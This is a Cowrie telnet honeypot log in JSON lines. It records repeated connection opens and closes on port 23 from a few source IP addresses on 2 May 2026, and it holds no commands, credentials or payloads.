{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52038,"dst_ip":"10.17.0.5","dst_port":23,"session":"1be84ecb2989","protocol":"telnet","message":"New connection: 162.219.178.250:52038 (10.17.0.5:23) [session: 1be84ecb2989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:53.248935Z"}
{"eventid":"cowrie.session.closed","duration":8.798472166061401,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:53.408295Z","src_ip":"188.208.141.113","session":"aac584f6ed8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":60504,"dst_ip":"10.17.0.5","dst_port":23,"session":"07f864e1a835","protocol":"telnet","message":"New connection: 206.189.32.23:60504 (10.17.0.5:23) [session: 07f864e1a835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:53.452333Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":46668,"dst_ip":"10.17.0.5","dst_port":23,"session":"01667cbf0980","protocol":"telnet","message":"New connection: 162.219.178.250:46668 (10.17.0.5:23) [session: 01667cbf0980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:53.742607Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52246,"dst_ip":"10.17.0.5","dst_port":23,"session":"934fb1807bd8","protocol":"telnet","message":"New connection: 162.219.178.250:52246 (10.17.0.5:23) [session: 934fb1807bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:54.411339Z"}
{"eventid":"cowrie.session.closed","duration":120.00160574913025,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:57.062539Z","src_ip":"162.219.178.250","session":"3a1af755ce6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.154898166656494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:57.442580Z","src_ip":"162.219.178.250","session":"e2ec96f690aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56468,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdba80df4d66","protocol":"telnet","message":"New connection: 188.208.141.113:56468 (10.17.0.5:23) [session: cdba80df4d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:58.237513Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56372,"dst_ip":"10.17.0.5","dst_port":23,"session":"caf258579b6a","protocol":"telnet","message":"New connection: 162.219.178.250:56372 (10.17.0.5:23) [session: caf258579b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:58.465183Z"}
{"eventid":"cowrie.session.closed","duration":0.0046269893646240234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:58.469715Z","src_ip":"162.219.178.250","session":"caf258579b6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56520,"dst_ip":"10.17.0.5","dst_port":23,"session":"2af5226a8d66","protocol":"telnet","message":"New connection: 162.219.178.250:56520 (10.17.0.5:23) [session: 2af5226a8d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:58.541117Z"}
{"eventid":"cowrie.session.closed","duration":38.66542458534241,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:58.677629Z","src_ip":"188.208.141.113","session":"bce95fc8798a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.112966299057007,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:58.837816Z","src_ip":"188.208.141.113","session":"4e7965247cc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56478,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec521e75856a","protocol":"telnet","message":"New connection: 188.208.141.113:56478 (10.17.0.5:23) [session: ec521e75856a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:59.429776Z"}
{"eventid":"cowrie.session.closed","duration":45.97229766845703,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:59.599124Z","src_ip":"188.208.141.113","session":"a34e8a6d4e22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56480,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7e0f255154","protocol":"telnet","message":"New connection: 188.208.141.113:56480 (10.17.0.5:23) [session: fb7e0f255154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:59.791224Z"}
{"eventid":"cowrie.session.closed","duration":31.092498540878296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:59.954430Z","src_ip":"207.244.241.37","session":"2bc1e7b981fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39104413986206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:01.330358Z","src_ip":"162.219.178.250","session":"41881fc82b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.799248695373535,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:02.348212Z","src_ip":"162.219.178.250","session":"21ea77c5c8b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36642,"dst_ip":"10.17.0.5","dst_port":23,"session":"8770f0e7c682","protocol":"telnet","message":"New connection: 162.219.178.250:36642 (10.17.0.5:23) [session: 8770f0e7c682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:02.846918Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36064,"dst_ip":"10.17.0.5","dst_port":23,"session":"0426477f2370","protocol":"telnet","message":"New connection: 162.219.178.250:36064 (10.17.0.5:23) [session: 0426477f2370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:03.381820Z"}
{"eventid":"cowrie.session.closed","duration":30.314619779586792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:03.696594Z","src_ip":"162.219.178.250","session":"5597c2c22706","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932563543319702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:04.318342Z","src_ip":"162.219.178.250","session":"a067951b62d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56488,"dst_ip":"10.17.0.5","dst_port":23,"session":"35e727c6b773","protocol":"telnet","message":"New connection: 162.219.178.250:56488 (10.17.0.5:23) [session: 35e727c6b773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:04.531150Z"}
{"eventid":"cowrie.session.closed","duration":0.0061876773834228516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:04.537181Z","src_ip":"162.219.178.250","session":"35e727c6b773","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37374,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1eee7799e7d","protocol":"telnet","message":"New connection: 162.219.178.250:37374 (10.17.0.5:23) [session: b1eee7799e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:05.485581Z"}
{"eventid":"cowrie.session.closed","duration":38.81643843650818,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:05.623496Z","src_ip":"188.208.141.113","session":"3e6bd5576416","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39186,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb774fde69f","protocol":"telnet","message":"New connection: 162.219.178.250:39186 (10.17.0.5:23) [session: bdb774fde69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:05.791795Z"}
{"eventid":"cowrie.session.closed","duration":31.512178659439087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:06.028074Z","src_ip":"162.219.178.250","session":"afab033726cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183589458465576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:06.253851Z","src_ip":"162.219.178.250","session":"509874fff036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49368,"dst_ip":"10.17.0.5","dst_port":23,"session":"2255283bce2d","protocol":"telnet","message":"New connection: 162.219.178.250:49368 (10.17.0.5:23) [session: 2255283bce2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:06.318558Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40400,"dst_ip":"10.17.0.5","dst_port":23,"session":"544921686715","protocol":"telnet","message":"New connection: 162.219.178.250:40400 (10.17.0.5:23) [session: 544921686715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:07.726922Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40504,"dst_ip":"10.17.0.5","dst_port":23,"session":"11a6c7fb1586","protocol":"telnet","message":"New connection: 162.219.178.250:40504 (10.17.0.5:23) [session: 11a6c7fb1586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:07.789203Z"}
{"eventid":"cowrie.session.closed","duration":31.390950679779053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:07.797670Z","src_ip":"207.244.241.37","session":"251071a635d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42236,"dst_ip":"10.17.0.5","dst_port":23,"session":"c24eb5a8d76b","protocol":"telnet","message":"New connection: 162.219.178.250:42236 (10.17.0.5:23) [session: c24eb5a8d76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:08.111774Z"}
{"eventid":"cowrie.session.closed","duration":31.211024522781372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:08.138622Z","src_ip":"162.219.178.250","session":"f8d95bbf3a5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42484,"dst_ip":"10.17.0.5","dst_port":23,"session":"9168f445309c","protocol":"telnet","message":"New connection: 162.219.178.250:42484 (10.17.0.5:23) [session: 9168f445309c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:08.239101Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42566,"dst_ip":"10.17.0.5","dst_port":23,"session":"b050c8b65b62","protocol":"telnet","message":"New connection: 162.219.178.250:42566 (10.17.0.5:23) [session: b050c8b65b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:08.288531Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44790,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9919c70ec51","protocol":"telnet","message":"New connection: 162.219.178.250:44790 (10.17.0.5:23) [session: a9919c70ec51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:08.680857Z"}
{"eventid":"cowrie.session.closed","duration":30.83394956588745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:08.894604Z","src_ip":"162.219.178.250","session":"9205d4c2e9a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52172,"dst_ip":"10.17.0.5","dst_port":23,"session":"c30f303c226c","protocol":"telnet","message":"New connection: 162.219.178.250:52172 (10.17.0.5:23) [session: c30f303c226c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:09.646139Z"}
{"eventid":"cowrie.session.closed","duration":31.242727756500244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:09.966589Z","src_ip":"162.219.178.250","session":"d2f9003756bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47134,"dst_ip":"10.17.0.5","dst_port":23,"session":"88921c729717","protocol":"telnet","message":"New connection: 162.219.178.250:47134 (10.17.0.5:23) [session: 88921c729717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:10.214621Z"}
{"eventid":"cowrie.session.closed","duration":51.87217879295349,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:10.667573Z","src_ip":"162.219.178.250","session":"901a34195fdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47616,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb01a474645","protocol":"telnet","message":"New connection: 162.219.178.250:47616 (10.17.0.5:23) [session: 8eb01a474645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:11.534828Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":48806,"dst_ip":"10.17.0.5","dst_port":23,"session":"d09906987138","protocol":"telnet","message":"New connection: 162.219.178.250:48806 (10.17.0.5:23) [session: d09906987138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:12.270065Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49548,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56ddbde23d8","protocol":"telnet","message":"New connection: 162.219.178.250:49548 (10.17.0.5:23) [session: a56ddbde23d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:12.730776Z"}
{"eventid":"cowrie.session.closed","duration":31.200201988220215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:13.117106Z","src_ip":"162.219.178.250","session":"cda5e802c2bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.221314907073975,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:13.483252Z","src_ip":"162.219.178.250","session":"fecb694bde3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52180,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6aa7f78b2ff","protocol":"telnet","message":"New connection: 162.219.178.250:52180 (10.17.0.5:23) [session: f6aa7f78b2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:13.564919Z"}
{"eventid":"cowrie.session.closed","duration":30.433130979537964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:13.570602Z","src_ip":"162.219.178.250","session":"af876f835358","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52286,"dst_ip":"10.17.0.5","dst_port":23,"session":"923fefc87ee1","protocol":"telnet","message":"New connection: 162.219.178.250:52286 (10.17.0.5:23) [session: 923fefc87ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:13.599417Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51752,"dst_ip":"10.17.0.5","dst_port":23,"session":"7efa1ba03081","protocol":"telnet","message":"New connection: 162.219.178.250:51752 (10.17.0.5:23) [session: 7efa1ba03081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:14.191203Z"}
{"eventid":"cowrie.session.closed","duration":31.370413541793823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:15.989174Z","src_ip":"207.244.241.37","session":"79ba81d0a341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":55644,"dst_ip":"10.17.0.5","dst_port":23,"session":"c06215f7aed9","protocol":"telnet","message":"New connection: 162.219.178.250:55644 (10.17.0.5:23) [session: c06215f7aed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:16.979786Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":59392,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2465754ac94","protocol":"telnet","message":"New connection: 162.219.178.250:59392 (10.17.0.5:23) [session: a2465754ac94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:18.654099Z"}
{"eventid":"cowrie.session.closed","duration":46.16523313522339,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:19.453206Z","src_ip":"188.208.141.113","session":"7e84e3ccb7cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56924,"dst_ip":"10.17.0.5","dst_port":23,"session":"faa4d15f5aa5","protocol":"telnet","message":"New connection: 162.219.178.250:56924 (10.17.0.5:23) [session: faa4d15f5aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:19.957402Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33402,"dst_ip":"10.17.0.5","dst_port":23,"session":"27bf88fed333","protocol":"telnet","message":"New connection: 162.219.178.250:33402 (10.17.0.5:23) [session: 27bf88fed333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:20.060606Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":55792,"dst_ip":"10.17.0.5","dst_port":23,"session":"de6d047e9343","protocol":"telnet","message":"New connection: 162.219.178.250:55792 (10.17.0.5:23) [session: de6d047e9343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:20.141661Z"}
{"eventid":"cowrie.session.closed","duration":31.259247541427612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:21.137725Z","src_ip":"162.219.178.250","session":"172022d3500c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0125789642334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:22.619729Z","src_ip":"162.219.178.250","session":"c6b8b7c8b98a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43060,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9c19410ed5d","protocol":"telnet","message":"New connection: 162.219.178.250:43060 (10.17.0.5:23) [session: b9c19410ed5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:22.957376Z"}
{"eventid":"cowrie.session.closed","duration":31.451738119125366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:23.257604Z","src_ip":"162.219.178.250","session":"32e35b738235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56250,"dst_ip":"10.17.0.5","dst_port":23,"session":"1588c5954f47","protocol":"telnet","message":"New connection: 162.219.178.250:56250 (10.17.0.5:23) [session: 1588c5954f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:23.469492Z"}
{"eventid":"cowrie.session.closed","duration":30.341748476028442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:23.590552Z","src_ip":"162.219.178.250","session":"1be84ecb2989","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.324833393096924,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:23.970829Z","src_ip":"162.219.178.250","session":"c30f303c226c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40008,"dst_ip":"10.17.0.5","dst_port":23,"session":"de8cbf39d278","protocol":"telnet","message":"New connection: 162.219.178.250:40008 (10.17.0.5:23) [session: de8cbf39d278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:24.401580Z"}
{"eventid":"cowrie.session.closed","duration":30.5790274143219,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:24.990257Z","src_ip":"162.219.178.250","session":"934fb1807bd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.994147062301636,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:25.363885Z","src_ip":"188.208.141.113","session":"5f1a523fe4ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40902,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c9b69e8d87","protocol":"telnet","message":"New connection: 162.219.178.250:40902 (10.17.0.5:23) [session: 05c9b69e8d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:25.992615Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":41164,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d9d95c0008","protocol":"telnet","message":"New connection: 162.219.178.250:41164 (10.17.0.5:23) [session: 27d9d95c0008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:26.180676Z"}
{"eventid":"cowrie.session.closed","duration":41.08828902244568,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:26.671490Z","src_ip":"162.219.178.250","session":"a003377ca800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43858,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a41537fb32f","protocol":"telnet","message":"New connection: 162.219.178.250:43858 (10.17.0.5:23) [session: 2a41537fb32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:28.008275Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45276,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e9b5b6ac027","protocol":"telnet","message":"New connection: 188.208.141.113:45276 (10.17.0.5:23) [session: 3e9b5b6ac027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:28.203694Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":46462,"dst_ip":"10.17.0.5","dst_port":23,"session":"14832be73678","protocol":"telnet","message":"New connection: 162.219.178.250:46462 (10.17.0.5:23) [session: 14832be73678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:28.729507Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":46278,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e961c1b7437","protocol":"telnet","message":"New connection: 162.219.178.250:46278 (10.17.0.5:23) [session: 2e961c1b7437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:29.604702Z"}
{"eventid":"cowrie.session.closed","duration":31.959282875061035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:30.500288Z","src_ip":"162.219.178.250","session":"2af5226a8d66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49414,"dst_ip":"10.17.0.5","dst_port":23,"session":"e08e073ccd9f","protocol":"telnet","message":"New connection: 162.219.178.250:49414 (10.17.0.5:23) [session: e08e073ccd9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:30.610198Z"}
{"eventid":"cowrie.session.closed","duration":51.59439706802368,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:31.496785Z","src_ip":"188.208.141.113","session":"d285d73bb62c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47428,"dst_ip":"10.17.0.5","dst_port":23,"session":"c84ab06559ba","protocol":"telnet","message":"New connection: 206.189.32.23:47428 (10.17.0.5:23) [session: c84ab06559ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:31.664459Z"}
